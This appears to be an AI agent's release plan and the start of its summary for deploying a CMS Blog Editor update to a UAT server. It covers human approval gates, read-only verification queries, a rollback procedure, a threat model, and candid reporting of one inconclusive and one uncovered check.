## Artifacts this phase produces (this plan)
- summercms annotated tag `v0.1.18` (or the next free `v0.1.x`) on origin.
- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps, the README admin note, and `frame-src https://www.youtube-nocookie.com` in the staging vhost's report-only CSP (with its check-deploy.sh needle and the DEPLOY.md line).
- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, `POST64_STATE`, the md5 snapshot before the human saves.
<objective>
Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-10, D-17, D-18 and D-19 on UAT with human admin actions and read-only checks.
Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
Release state at planning time (revised 2026-10-10, after 16.1 closed): summercms latest tag v0.1.17 (the 16.1 security release, tag commit c21fe36), so this phase's tag is v0.1.18 unless someone tags first; sm-journal-plugin pre-phase head c60abc6 (go.mod requires v0.1.17 with a replace to ../summercms.go); host sm-grzybyfunkcjonalne-app master 0b93ac2 with journal gitlink c60abc6 and vue-grzybyfunkcjonalne-app gitlink ada03b2; vue-journal-layer v0.1.1 (294a8d8, already ships sanitize-html) before plan 04, and the app pins #v0.1.1. UAT data: posts 53 and 64 were re-saved during 16.1; post 64's content_html no longer holds its style block (the footer CSS moved to the app's base.css, 2c46185).
</context>
<tasks>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 1: Release gate: local checks green, tag chosen, UAT data split reported, a human approves the tag push and the UAT deploy</name>
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md (how the last release ran), the four 16.2 plan SUMMARYs (commit hashes per repository, the Postgres tests still to run), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md and 16.2-SECURITY.md when present</read_first>
<action>Do everything automatable and print a release sheet, then stop.
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.18 if nobody tagged after v0.1.17) and confirm with `git ls-remote --tags origin` that it does not exist yet.
Run the release gate (verify command). Then, read-only on UAT, report the D-07 split of the current data (assumption A1): ssh grzybyfunkcjonalne-uat psql -X -d grzybyfunkcjonalne -tAc with a SELECT counting golem15_journal_posts whose ltrim(content) starts with '<' (served as content) and those that do not (served as content_html).
Release sheet: the proposed or reused tag; commits to push per repository (summercms.go origin/master..HEAD including planning-doc commits, sm-journal-plugin origin/main..HEAD, the host's gitlink targets: sm-journal-plugin HEAD and the vue-grzybyfunkcjonalne-app commit plan 04 pushed); the UAT HTML/markdown split; the Postgres suites that cannot run here (modules/cabana testcontainers suites; the sm-journal-plugin root harness including TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent; ./models); open high findings from 16.2-REVIEW.md or 16.2-SECURITY.md if those files exist (an open high finding means only docker-first or hold may be chosen, per security_block_on high); the deploy steps from DEPLOY.md "Release" plus keeping build/nuxt/.output.prev on the server; the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back and restart both programs). Stop for the human.</action>
<decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact field-type API (D-12, one-way); it cannot be moved, only superseded. The save-path code is covered here by DryRun and unit smoke tests only; the real-database proof is the UAT acceptance in Task 3, with the previous binary and Nuxt output kept for rollback. Plan 06 adds full unit coverage after the release (lean rule 3).</context>
<options>
<option id="release-now">
<name>Release now with the proposed tag</name>
<pros>UAT gets the Blog Editor immediately; Task 3 exercises the save path on the real imported data; rollback is two moves and a restart</pros>
<cons>The Postgres suites run later, on a Docker host; a defect found then needs the next tag</cons>
</option>
<option id="docker-first">
<name>Run the Docker-host suites first, then release</name>
<pros>The testcontainers suites in summercms.go and sm-journal-plugin, including TestPostsAdminResaveKeepsHTML with exact bytes, run before the tag is pushed</pros>
<cons>Needs a Docker-enabled machine and delays UAT</cons>
</option>
<option id="hold">
<name>Hold the release</name>
<pros>Nothing leaves this machine</pros>
<cons>UAT keeps the markdown field, whose admin save renders content through goldmark and the 16.1 sanitizer</cons>
</option>
</options>
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
<verify>
<automated>go vet ./... &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6 &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; echo release-gate-ok</automated>
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana smoke set, a journal classes or controllers test fails (including the editor-output policy cross-check and the removal report tests), TestDocsTree fails, a vitest suite fails (including the editor corpus test), or a dist or OpenAPI drift gate reports stale output.</fails_when>
</verify>
<acceptance_criteria>
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
- The SUMMARY records the release sheet (tag, commits per repository, UAT split counts, suites not run, review findings) and the human's reply verbatim.
</acceptance_criteria>
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
</task>
<task type="tracer">
<name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes; snapshot the posts the human will re-save</name>
<reversibility rating="one-way">A pushed annotated summercms tag publishes the pact field-type API to other repositories' go.mod and the Go module proxy; it can only be superseded.</reversibility>
<precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, plan 04 pushed vue-grzybyfunkcjonalne-app main pinning v0.2.0, and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Security headers), ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (line 91: Content-Security-Policy-Report-Only), ../sm-grzybyfunkcjonalne-app/README.md (Admin section), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
<action>Framework: unless Task 1 recorded an existing tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: plugin-registered admin form field types (pact.HasFormFieldTypes), save notices (meta.notices), field upload route, admin SPA plugin fields", then git push origin master and git push origin "$RELEASE_TAG".
sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the go.work replace stays, so the require is nominal); go -C ../sm-journal-plugin vet ./...; commit go.mod only as "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this publishes plans 02 and 03).
Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab), that saving an untouched post keeps its stored HTML, and that a save removes markup the HTML policy does not allow and names what it removed. Embeds and the public CSP (D-17): the staging vhost's Content-Security-Policy-Report-Only (16.1) has default-src 'self' and no frame-src, so every embed would log a violation and block the later switch to an enforced policy. Add frame-src https://www.youtube-nocookie.com to that policy in deploy/nginx/grzybyfunkcjonalne-staging.conf, add the needle frame-src https://www.youtube-nocookie.com to the vhost checks in scripts/check-deploy.sh, and name it in DEPLOY.md's Security headers bullet. Installing a changed vhost on UAT needs root (16.1 UAT item 1), which the executor does not have: record it in the SUMMARY as a pending human step; it blocks nothing here, because the policy only reports. Commit both gitlinks, README.md and the three deploy files as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.
Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh. Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
Release per DEPLOY.md "Release": on the server first cp -a build/nuxt/.output build/nuxt/.output.prev; rsync the binary to bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env); compare the sha256 of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; bin/grzybyfunkcjonalne migrate (no new migration in this phase; must exit 0); record RESTART_TS as the server's date +'%Y/%m/%d %H:%M:%S'; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt. Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY. Record post 64's current state as POST64_STATE with one more read-only SELECT printing (content LIKE '%<style%')::int || ':' || (content_html LIKE '%<style%')::int for id 64. 16.1 left content_html without the style block (expected x:0); record whatever it prints, and report a 1 in the second position in the SUMMARY instead of treating it as a failure. The untouched re-save in Task 3 must not change either column, whatever their state.</action>
<verify>
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go &amp;&amp; CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
<fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 &amp;&amp; test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev &amp;&amp; test -d /srv/grzybyfunkcjonalne/go/build/nuxt/.output.prev' &amp;&amp; echo deploy-ok</automated>
<fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, the tag is missing on origin, or a rollback copy is missing on the server.</fails_when>
</verify>
<acceptance_criteria>
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
- `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed sm-journal-plugin main and vue-grzybyfunkcjonalne-app main commits, and the host master equals origin/master.
- `grep -c "frame-src https://www.youtube-nocookie.com" ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` reports at least 1 for each file, and check-deploy.sh passed before the build; the SUMMARY lists the vhost install as a pending root step.
- The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
- The SUMMARY records the tag, the pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE and the md5 snapshot; no credential appears in it.
</acceptance_criteria>
<done>UAT runs the released Blog Editor and embed rendering from pushed tags and branches, every smoke URL passes, and the pre-save snapshot is recorded.</done>
</task>
<task type="checkpoint:human-action" gate="blocking-human">
<name>Task 3: UAT acceptance: untouched re-saves are byte-identical; a Blog Editor edit stores HTML in both columns with an uploaded image and an embed that renders on the site; unsafe markup is stripped and reported, never refused</name>
<precondition>Task 2 printed deploy-ok; RESTART_TS, HTML_POST, SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS are set in the session and recorded in the SUMMARY.</precondition>
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback), this plan's SUMMARY (snapshot)</read_first>
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
Human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) open post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer, served in the editor as its content_html, which 16.1 re-rendered without the style block) and post HTML_POST; on each press "Zapisz" without touching the editor (D-03); no removal notice may appear. (2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text containing a colon and a caption, and a YouTube embed from a youtube.com URL; save; no removal notice may appear (D-02, D-05, D-18). (3) Still unpublished, in the source tab of the test post add a harmless style block that colours paragraphs red and an onclick="void 0" attribute on one paragraph, then save (D-10 amended): the save succeeds, a notice under the field names the removed style element and the onclick attribute, and the editor reloads without them. (4) Publish the post for the site check, then reply with what the notice in step 3 said.
After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>
<instructions>
Claude deployed the release and passed the on-server smoke in Task 2, and recorded a checksum snapshot of post 64 and post HTML_POST.
The human logs in to the UAT admin (basic-auth realm plus an admin account), performs steps 1 to 4 and replies.
</instructions>
<verification>Read-only psql on the server compares the snapshot and checks the test post's stored HTML; an on-server curl checks the public page for the youtube-nocookie iframe; the Go log since RESTART_TS has no panic or SQLSTATE line.</verification>
<resume-signal>Type "saved and published" once steps 1 to 4 are done, with the step 3 notice text, or describe what went wrong.</resume-signal>
<verify>
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (64, $HTML_POST) ORDER BY id\"" | diff - &lt;(printf '%s\n' "$SNAPSHOT_POSTS") &amp;&amp; echo posts-unchanged</automated>
<fails_when>Non-zero exit or "posts-unchanged" absent: an untouched save changed content or content_html of post 64 or HTML_POST (SNAPSHOT_POSTS holds the Task 2 rows in the same id:md5:md5 format).</fails_when>
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('64', '$HTML_POST') ORDER BY model_id, locale\"" | diff - &lt;(printf '%s\n' "$SNAPSHOT_TRANSLATIONS") &amp;&amp; echo translations-unchanged</automated>
<fails_when>Non-zero exit or "translations-unchanged" absent: an untouched save added, removed or changed a translation row of the two posts (for example empty en values).</fails_when>
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (content = content_html)::int || ':' || (content LIKE '%data-embed=_youtube_%')::int || ':' || (content LIKE '%&lt;figcaption%')::int || ':' || (content LIKE '%/storage/app/uploads/public/journal/posts/%')::int || ':' || (position('&lt;style' in content) = 0 AND position('onclick' in content) = 0)::int FROM golem15_journal_posts WHERE slug = 'uat-16-2-blog-editor'\"" | grep -qx '1:1:1:1:1' &amp;&amp; echo edit-ok</automated>
<fails_when>Non-zero exit or "edit-ok" absent: the test post is missing, content differs from content_html, it lacks the embed placeholder (the policy stripped data-embed), the figcaption or an uploaded image URL under journal/posts, or the step 3 style element or onclick attribute was stored (the strip did not happen).</fails_when>
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; CURL_HOME="$C" curl -s https://uat.grzybyfunkcjonalne.pl/blog/uat-16-2-blog-editor; rm -rf "$C"' | grep -c 'src="https://www.youtube-nocookie.com/embed/' | grep -qv '^0$' &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) &gt;= since' | grep -ciE 'panic|SQLSTATE' | grep -qx 0 &amp;&amp; echo site-ok</automated>
<fails_when>Non-zero exit or "site-ok" absent: the public page of the test post has no youtube-nocookie iframe (the layer did not expand the placeholder, or the page is not reachable because the post is not published), or the Go log has a panic or SQLSTATE line after RESTART_TS.</fails_when>
<human-check>In the admin (D-19): open a category with content, change one word in the Blog Editor and save; no removal notice appears (all 6 UAT category bodies passed the policy in 16.1) and the category page on the site shows the change. Open post HTML_POST, switch to the source tab: it shows the stored HTML exactly as before. Reply "UAT approved" or list the issues.</human-check>
</verify>
<acceptance_criteria>
- posts-unchanged, translations-unchanged, edit-ok and site-ok are printed.
- The SUMMARY records the human's replies, the step 3 notice text, the human-check answer (or marks it pending for /msd-verify-work), and that the test post was unpublished or deleted afterwards.
</acceptance_criteria>
<done>Untouched saves of imported posts are byte-identical on UAT, a Blog Editor edit with an upload and an embed is stored in both columns and renders on the site, and unsafe markup added in the source tab is stripped and reported instead of refused.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
| human admin → UAT admin | the only path that writes post data in this plan |
| server .env files → processes | secrets live only on the server |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
| T-16.2-35 | Tampering | UAT strip check (Task 3 step 3) | low | mitigate | Only harmless markup is added (a red-paragraph style block and onclick="void 0"), on an unpublished test post; the strip is verified read-only before the post is published for the site check; the layer sanitizes again at render; the test post is unpublished or deleted afterwards |
| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |
</threat_model>
<verification>
- Task 1 printed release-gate-ok and a human chose a release option.
- Task 2: "smoke: ok (" and deploy-ok.
- Task 3: posts-unchanged, translations-unchanged, edit-ok and site-ok.
</verification>
<success_criteria>
- Tag, plugin and host bumps pushed; UAT redeployed per DEPLOY.md with rollback copies; on-server smoke passes.
- D-03 proven on real imported posts; D-02, D-05, D-10 (strip and report), D-17 and D-18 proven with a test post, D-19 with a category edit; no credential handled by the executor; no write SQL.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE, the snapshot and every check result.
</output>

View File

@@ -0,0 +1,316 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 05
subsystem: release
tags: [release, uat, deploy, summercms-tag, journal, blog-editor, embeds, csp, grzybyfunkcjonalne]
requires:
- phase: 16.2-01
provides: pact.HasFormFieldTypes, meta.notices, the field upload route and admin SPA plugin fields (released as summercms v0.1.18)
- phase: 16.2-02
provides: the Blog Editor formwidget and its editor corpus in sm-journal-plugin
- phase: 16.2-03
provides: Journal post and category content on the Blog Editor, the editor-output policy extension and the strip-and-report save
- phase: 16.2-04
provides: vue-journal-layer v0.2.0 (embed expansion) pinned by vue-grzybyfunkcjonalne-app main 465286a
provides:
- "summercms annotated tag v0.1.18 (tag object 04dc5bd, commit f1d8a75) on origin"
- "sm-journal-plugin main 9d5bfc4 on origin, go.mod requiring summercms v0.1.18"
- "sm-grzybyfunkcjonalne-app master 6f4f222 on origin: journal gitlink 9d5bfc4, vue-grzybyfunkcjonalne-app gitlink 465286a, README Blog Editor note, report-only CSP frame-src https://www.youtube-nocookie.com"
- "UAT (uat.grzybyfunkcjonalne.pl) running the Blog Editor release, with rollback copies of the previous binary and Nuxt output"
affects: [16.2-06, sm-journal-plugin, sm-grzybyfunkcjonalne-app, uat]
actuals:
tokens: 9000
tasks: 3
commits: 0
plan_head_before: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
plan_head_after: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
commits_note: "summercms.go got the tag only (no commit). Code commits live in the sibling repositories below."
plugin_commits_repo: ../sm-journal-plugin
plugin_head_before: c60abc6
plugin_head_after: 9d5bfc4a3597be8ba4abee26d80dc2b81d343da8
plugin_commits: 1
host_commits_repo: ../sm-grzybyfunkcjonalne-app
host_head_before: 0b93ac2
host_head_after: 6f4f22296b6295e2750e3d376bd0300c8031ba51
host_commits: 1
tech-stack:
added: []
patterns:
- "Restart-anchored log check: the Go log is filtered from the River client_id line the restart logged, read straight from /var/log/supervisor, instead of `supervisorctl tail` (which fails on UAT)"
key-files:
created: []
modified:
- ../sm-journal-plugin/go.mod
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
- ../sm-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
key-decisions:
- "Human chose release-now at the Task 1 gate with the reply \"release v0.1.18\"; summercms v0.1.18 is published and a later defect gets v0.1.19"
- "On UAT the Nuxt rollback copy lives at /srv/grzybyfunkcjonalne/nuxt/.output.prev, not go/build/nuxt/.output.prev as the plan assumed"
- "The site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart's River client_id anchor; `sudo supervisorctl tail` fails on UAT (ExpatError) and would pass vacuously"
patterns-established:
- "A UAT release check that reads a log must prove it read lines (anchor present) before counting zero errors"
requirements-completed: [D-02, D-05, D-10, D-17, D-18]
coverage:
- id: R1
description: "Release: tag v0.1.18, plugin and host bumps pushed; UAT binary sha256 equals the local build; both programs RUNNING; rollback copies kept; on-server smoke passes"
requirement: "D-07"
verification:
- kind: integration
ref: "Task 2 verify: smoke: ok (98 urls); deploy-ok (with the corrected Nuxt rollback path)"
status: pass
human_judgment: false
- id: R2
description: "D-03: an untouched admin save of post 64 (markdown with the raw author footer) leaves md5(content), md5(content_html) and its en translation row unchanged"
requirement: "D-03"
verification:
- kind: integration
ref: "Task 3 verify: posts-unchanged and translations-unchanged; post 64 updated_at moved to 2026-10-10 11:26:13+00, so the save reached the database"
status: pass
human_judgment: false
- id: R3
description: "D-03: an untouched admin save of HTML_POST (post 1) leaves its bytes unchanged"
requirement: "D-03"
verification:
- kind: integration
ref: "posts-unchanged passed for post 1, but post 1 updated_at is still 2026-10-09 17:33:51+00 and no post other than 64 and 105 was written after RESTART_TS, so no save of post 1 reached the database and the pass is vacuous"
status: inconclusive
human_judgment: true
rationale: "A human must save post 1 untouched again; then re-run the posts-unchanged SELECT and confirm post 1's updated_at moved"
- id: R4
description: "D-02, D-05, D-18: the Blog Editor test post stores content = content_html with a YouTube placeholder, a figcaption and an uploaded image URL under journal/posts"
requirement: "D-18"
verification:
- kind: integration
ref: "Task 3 verify: edit-ok (1:1:1:1:1)"
status: pass
human_judgment: false
- id: R5
description: "D-10 amended: a style element and an onclick attribute added in the source tab are stripped on save and reported"
requirement: "D-10"
verification:
- kind: integration
ref: "edit-ok fifth column 1 (no <style, no onclick stored)"
status: pass
- kind: manual
ref: "Human reply \"Did tests, all points passed, bravo.\" covers the step 3 notice; the notice text was not quoted"
status: pass
human_judgment: true
- id: R6
description: "D-17: the published test post's public page contains a youtube-nocookie iframe; the Go log since the restart has no panic or SQLSTATE line"
requirement: "D-17"
verification:
- kind: integration
ref: "Task 3 verify: site-ok (1 iframe; 14 log lines after the anchor, 0 panic|SQLSTATE)"
status: pass
human_judgment: false
- id: R7
description: "D-19: a one-word category edit saves without a removal notice and shows on the site"
requirement: "D-19"
verification: []
human_judgment: true
rationale: "Not among the four steps the human ran; no journal category row was updated after RESTART_TS, so no read-only check covers it"
duration: "about 25 min of executor time across three runs, plus the human UAT session (11:26 to 11:30Z)"
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 05: Release and UAT Acceptance of the Blog Editor Summary
